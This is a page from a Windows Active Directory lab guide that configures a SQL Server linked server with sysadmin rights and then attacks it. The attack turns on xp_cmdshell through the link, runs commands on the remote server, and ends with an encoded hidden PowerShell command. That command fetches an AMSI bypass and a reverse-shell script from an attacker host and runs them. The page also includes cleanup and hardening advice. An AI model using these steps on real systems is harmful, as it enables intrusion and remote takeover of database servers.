# Database-Links

## Configuring

### Prerequisite

{% content-ref url="initial-access/normal-domain-user-access" %}
[normal-domain-user-access](https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/sql-server-attacks/initial-access/normal-domain-user-access)
{% endcontent-ref %}

### Configuring SQL user on Data01

1. Login to `DATA01` as the `Administrator` user with password `Welcome01!`.
2. Open "Microsoft SQL Server Management Studio".

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FucznDTcuORE6cqXAit3X%2Fimage.png?alt=media&#x26;token=bc4225ec-77c1-4a76-a470-068bbc6896d3" alt=""></div>

3\.  Login with the `Administrator` user using Windows Authentication.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FyL4HDQ8M2aFD8SaPUO3D%2Fimage.png?alt=media&#x26;token=d06851fd-6cdb-481f-96d1-38d265c1e63a" alt=""></div>

4\. Right click on the server object "Data01\Data (SQL Server 15.0.2000.5)" and select "Properties".

5\. Open the "Security" tab and select "SQL Server and Windows Authentication mode" under "Server authentication".

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FpNaiZtipuTcGMZoeLNTX%2Fimage.png?alt=media&#x26;token=a6dec2dd-760e-4cb0-ac84-6689508dd459" alt=""></div>

6\. Open "SQL Server 2019 Configuration Manager"&#x20;

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fpm1GXAUf5vwlBEy0Dogp%2Fimage.png?alt=media&#x26;token=bc3514e1-2e77-461b-a576-42643731b868" alt=""></div>

7\. Restart the two SQL services with "DATA" in their name.

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FzWB6lRgCM5JekQQgLJYu%2Fimage.png?alt=media\&token=756e8908-00ed-403f-902b-8e694d97a879)

8\. Open "Microsoft SQL Server Management Studio".

9\. Expand "Security" and "Logins". Then right click on "Logins" and select "New Login".

10\. Fill in the login name `SQL_link` and password `Eo6#jAzonQhw` . Then make sure the three password flags "Enforce Password policy", "Enforce password expiration" and "User must change password at next login" are unselected.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F1xknMMH3ixrWUK5vQ4Jb%2Fimage.png?alt=media&#x26;token=1c6716a7-45cd-4a0a-86c5-be7c54ffaf58" alt=""></div>

11\. In the tab "Server Roles" select "setupadmin" and "sysadmin" and click "OK".

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FrGhBM0cSV1JHOeRwtbqN%2Fimage.png?alt=media&#x26;token=aa211cd2-b415-4169-8cc2-f3b297023f7a" alt=""></div>

12\. In the tab "User Mapping" select "Bank Transfers".

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FIsZF5hfFer04wwPIQ7HY%2Fimage.png?alt=media&#x26;token=0f118ace-4639-4d99-9e82-22f78baa9430" alt=""></div>

### Configuring SQL link

1. Login to `WEB01` as the `Administrator` user with password `Welcome01!`.
2. Open "Microsoft SQL Server Management Studio".
3. Login with the `Administrator` user using Windows Authentication.
4. Expand the "Server Objects" and "Linked Servers". Then right click on "Linked Servers" and select "New Linked Server".
5. Fill in `Data01.secure.local` and select "SQL Server".

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FGGpDuQmzXLCnqMMZMp1g%2Fimage.png?alt=media&#x26;token=50eeca56-8328-421b-95f2-5ebfcdd2b4a3" alt=""></div>

6\. Open the "Security" tab and select "Be made using this security context". Then fill in the credentials we created in the previous section. `SQL_link` and password `Eo6#jAzonQhw` .&#x20;

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FplvBj9HUKdASB0slAMbC%2Fimage.png?alt=media&#x26;token=afa160fc-ec07-4e93-b8c9-b8e6b23d78fc" alt=""></div>

7\. Open the "Server Options" tab and select True for "RPC Out". This is done so we can enable xp\_cmdshell during the attack.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FIPftpvkHgoTcx4ddi0qb%2Fimage.png?alt=media&#x26;token=56dd2046-2b9c-4f4d-b502-52ecc727a4e1" alt=""></div>

{% hint style="info" %}
Step 7 could be skipped and then it could be enabled during the attack after getting sa privileges on Web01 database using the following query:

`EXEC sp_serveroption @server='DATA01.SECURE.LOCAL', @optname='rpc out', @optvalue='True'`
{% endhint %}

8\. Click "OK" and the linked server should show up.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FSCcONABHPGC06m5kSIoy%2Fimage.png?alt=media&#x26;token=30a12d9f-f083-4707-8415-341299011799" alt=""></div>

## Attacking

### How it works

SQL Servers can be linked together to access data on the linked SQL Server. The link is created using a security context, this could be a SQL user or a domain user. The link will have the permissions from the user. If the user has sysadmin privileges it is possible to execute queries as sysadmin.

If xp\_cmdshell is enabled on the linked server it is possible to execute commands. Or if RPCOUT is enabled it is possible to enable xp\_cmdshell.

### Tools

* [PowerupSQL](https://github.com/NetSPI/PowerUpSQL)
* [Heidisql](https://www.heidisql.com/)

### Executing the attack

1. Download PowerUpSQL on the kali machine and host it on a webserver:

```
wget https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1
python3 -m http.server 8090
```

2\. Login to `WS01` as Richard with the password `Sample123`.

3\. Start PowerShell and download and execute an amsi and PowerUpSQL in memory:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Ffdk8gCMwLHuvsjxEtXx9%2Fafbeelding.png?alt=media&#x26;token=69a6bdd4-3e57-4bc0-a9cb-25b5e42ac701" alt=""></div>

3\. With PowerUPSQL and the `Get-SQLServerLink` cmdlet we can query the SQL Server links from the current domain.

```
Get-SQLInstanceDomain | Get-SQLServerLink.
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FmJDlAhWza4qsg6yLrESF%2Fafbeelding.png?alt=media&#x26;token=909e30d5-c080-4cfe-8f41-edda526696dd" alt=""></div>

4\. The output shows that `web01.amsterdam.bank.local` has a SQL Server link to `DATA01.secure.local`.  A link that is to another domain. The output also shows that rpc\_out is enabled. With the cmdlet `Get-SQLServerLinkCrawl` we can execute a query through the linked servers.&#x20;

```
Get-SQLInstanceDomain | Get-SQLServerLinkCrawl -Query 'select @@version'
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FhpgQCy9SzbfLxLn2GQil%2Fafbeelding.png?alt=media&#x26;token=c610a715-e891-4a96-bcd8-f551018320fb" alt=""></div>

We wont see the data from the SQL Query since its wrapped into the `CustomQuery` object. It is also queried to both SQL Servers.

5\. With the parameter `-QueryTarget` we can select a target instance to query.

```
Get-SQLInstanceDomain | Get-SQLServerLinkCrawl -Query 'select @@version' -QueryTarget DATA01\DATA | Select-Object -ExpandProperty CustomQuery
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FRUQlddniwzYHCo6aNEuz%2Fafbeelding.png?alt=media&#x26;token=f86dd984-ceed-4beb-99d2-f8848a1e9a56" alt=""></div>

#### Connecting with HeidiSQL

1. Download [HeidiSQL](https://www.heidisql.com/download.php?download=portable-64) on `WS01`.
2. To execute SQL queries and look into the database start heidiSQL.
3. Click on "New" on the left bottom and configure the following settings:

* Network Type: `Microsoft SQL Server (TCP/IP)`
* Library: `SQLOLEDB`
* Hostname / IP: `WEB01.amsterdam.bank.local`
* Select: "Use Windows Authentication"
* Port: `1433`

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F2K4HIccoxIzPCCMuPJrB%2Fafbeelding.png?alt=media\&token=7c0a8aff-5c6a-49a7-aa55-a35b8721b0f9)

4\. Click "OK" on the security Issue warning.

5\. In the "Query" tab fill in the following to query the SQL Links:

```
SELECT * FROM master..sysservers;
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FpMuwZ5zG5Lnm8C1Va3mk%2Fafbeelding.png?alt=media&#x26;token=84fb7061-d204-411f-bd07-34cc57ff436b" alt=""></div>

6\. We discovered the same SQL server link as earlier. We can query the server with the following query:

```
SELECT * FROM OPENQUERY("DATA01.SECURE.LOCAL", 'select @@version');
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FClVOlKL2hSyMoJeyXbzn%2Fafbeelding.png?alt=media&#x26;token=cd2d91ef-6fd4-4662-8ae1-61fe40dec3b9" alt=""></div>

7\. We can query the server to check if `xp_cmdshell` is on:

```
SELECT * FROM OPENQUERY("DATA01.SECURE.LOCAL", 'SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell''');
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F0p5P4bqf4uL3yuwS6rex%2Fafbeelding.png?alt=media&#x26;token=f1684b19-c027-4771-8ff5-389422f61f7f" alt=""></div>

8\. The value `0` means xp\_cmdshell is disabled. We can try to enable xp\_cmdshell with the following queries:

```
EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT "DATA01.SECURE.LOCAL"
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT "DATA01.SECURE.LOCAL"
```

9\. When we check if xp\_cmdshell is enabled we see it is enabled now.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FFYr0wXEfOETUgrBJmXlR%2Fafbeelding.png?alt=media&#x26;token=606819f2-d5fd-44de-b1f0-3633a3128cfe" alt=""></div>

10\. We can execute commands using the EXECUTE function.

```
EXECUTE('exec master..xp_cmdshell ''whoami''') AT "DATA01.SECURE.LOCAL"
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FJCdttu85iFRvDImFiAzs%2Fafbeelding.png?alt=media&#x26;token=e187d115-1f12-4798-a7ba-0ad00a839504" alt=""></div>

11\. We could get a reverse shell by executing the following query using the technique from:

{% content-ref url="../../misc/reverse-shell-trick" %}
[reverse-shell-trick](https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/misc/reverse-shell-trick)
{% endcontent-ref %}

```
EXECUTE('exec master..xp_cmdshell ''powershell.exe -w hidden -enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIANAA4AC4AMgA6ADgAMAA5ADAALwBhAG0AcwBpAC4AdAB4AHQAIgApADsAIABpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgA0ADgALgAyADoAOAAwADkAMAAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAcAAuAHAAcwAxACIAKQA=''') AT "DATA01.SECURE.LOCAL"
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FvH907dSFdCGr7VoUxJrd%2Fafbeelding.png?alt=media&#x26;token=168f7114-5279-458a-a1ce-9f030859d481" alt=""></div>

### Cleanup

1. Execute the following query in HeidiSQL to disable xp\_cmdshell again:

```
EXEC('sp_configure ''xp_cmdshell'', 0; reconfigure;') AT "DATA01.SECURE.LOCAL"
EXEC('sp_configure ''show advanced options'', 0; reconfigure;') AT "DATA01.SECURE.LOCAL"
```

## Defending

### Recommendations

* Configure the SQL\_Link with the least privilege possible, dont use the sysadmin role.
* Disable xp\_cmdshell on the SQL Server.
* Disable RPC OUT on the SQL Server.

### Detection

## References
